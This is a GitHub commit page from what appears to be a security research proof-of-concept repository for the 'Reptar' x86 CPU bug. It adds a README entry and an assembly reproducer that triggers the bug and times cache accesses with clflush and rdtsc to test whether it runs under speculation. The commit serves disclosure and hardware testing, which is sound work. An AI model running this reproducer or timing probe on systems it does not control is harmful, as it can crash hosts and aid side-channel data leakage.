Skip to content

Commit

Permalink
add speculation tests
Browse files Browse the repository at this point in the history
  • Loading branch information
sirdarckcat committed Dec 5, 2023
1 parent ceedc79 commit 92870d2
Show file tree
Hide file tree
Showing 2 changed files with 85 additions and 0 deletions.
1 change: 1 addition & 0 deletions pocs/cpus/reptar/minimized/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@ You can build them all simply by running `make`. Building the code requires `nas
- **reptar.align.elf.asm**: This is a more reliable reproducer that triggers an error on the first iteration. The `clflush` and the reptar instruction need to be on different 16 byte windows. This could be related to the instruction decoder working on 16 byte instructions at a time.
- **reptar.boot.bin.asm**: Same as align, but instead intended to be ran from a VM using KVM. `qemu-system-x86_64 --enable-kvm -fda reptar.boot.bin`.
- **reptar.xlat.elf.asm**: This is similar to `reptar.align.elf.asm` but generates tracing information on the syscalls it executes, so that when the program enters at a different register location, it is possible to observe the consequences. Pause will freeze the process, exit will pass `AL` as the exit code and yield will simply leave the latest `RIP` on `RCX`.
- **reptar.spec.elf.asm**: This is a test used to check if the bug works under speculation. It's setup similar to `reptar.align.elf.asm` but only runs a few iterations and prints the speed at which it's able to access memory. During the "loop" generated by the bug, we access specific parts of memory which would also happen if the bug executed speculatively. Run the code as `./reptar.spec.elf | od -i`. If speculation worked, you would see multiple "short" (<200 cycles) accesses and if it didn't work, you will only see one.
- **reptar.loopless.elf.asm**: This is an easier to modify reproducer that will also trigger the bug somewhat reliably but also allows to modify the instructions executed before and after. Note the registers that the program uses at the top.
- **reptar.loop.elf.asm**: This is a more documented reproducer that explains what happens when the bug triggers and which instructions execute and which don't. Running the program on GDB should allow for quick debugging.
- **reptar.vdso.bin.asm**: This is an experiment where we map ourselves just before the VDSO (you must disable ASLR first and adjust the addresses) and then make the "wrong RIP" point to the VDSO address of the time() function. As a result, the current time is stored in the address pointed to by RAX, which is then clflushed so it triggers a segfault to the current time. If we had corrupted the uop$ then we would instead expect a crash, so it appears that a long jump to the VDSO doesn't corrupt the uop$. To test try: `taskset -c 7 gdb ./reptar.vdso.bin -ex r -ex 'python import datetime;print(datetime.datetime.utcfromtimestamp(gdb.parse_and_eval("*$rdi")))' -ex 'p $rsp' -ex q` - if the uop$ was not corrupted, you should see the current date/time. If it was, we would expect a segfault when writing to `0x42` at the poisoned address.
Expand Down
84 changes: 84 additions & 0 deletions pocs/cpus/reptar/minimized/reptar.spec.elf.asm
Original file line number Diff line number Diff line change
@@ -0,0 +1,84 @@
BITS 64

global _start

%define OUTPUT_SIZE 32
%define OBF_PRIME 7

section .data
crash_pad: times 0x10000 db 0
far_away: times 0x1000 db 0
output: times OUTPUT_SIZE * 4 db 0
somewhere: times 0x1000 db 0

section .text
clean_crash_pad:
%assign i 0
%rep 0x10000 / 64
clflush [crash_pad + i * 64]
%assign i i+1
%endrep
ret

check_leak:
%assign i 0
%rep OUTPUT_SIZE
%assign masked_i i
%assign i i + 1
mfence
rdtsc
mov r10, rax
mov rax, [crash_pad + (64 * OBF_PRIME) * masked_i]
mfence
rdtsc
sub rax, r10
mov [output + 4 * masked_i], eax
%endrep
ret
print_output:
mov rax, 1
mov rdi, 1
mov rsi, output
mov rdx, OUTPUT_SIZE * 4
syscall
ret
exit:
mov rax, 60
mov rdi, 0
syscall
ret

_start:
call clean_crash_pad
lea eax, [crash_pad + 3 * 64 * OBF_PRIME ]
mov ebx, 64 * OBF_PRIME
xor ecx, ecx
lea rsi, [rsp]
lea rdi, [rsp]
lea r11, [far_away]
mov [r11], r11
clflush [r11]
align 0x1000
.reptar:
; 16 bytes
cmp [r11], rbx ; 3 bytes
jne .after_reptar ; 6 bytes
inc ecx ; 2 bytes
add eax, ebx ; 2 bytes
mov ebp, [eax] ; 3 bytes
; 16 bytes
clflush [rsp+127] ; 4 bytes
mov [rsp], rax ; 4 bytes
rep ; 1 byte
db 0x44; rex.r ; 1 byte
movsb ; 1 byte
rep ; 1 byte
nop ; 1 byte
align 0x1000
times 0x1000*8 rep pause
.after_reptar:
call check_leak
call print_output
call exit

0 comments on commit 92870d2

Please sign in to comment.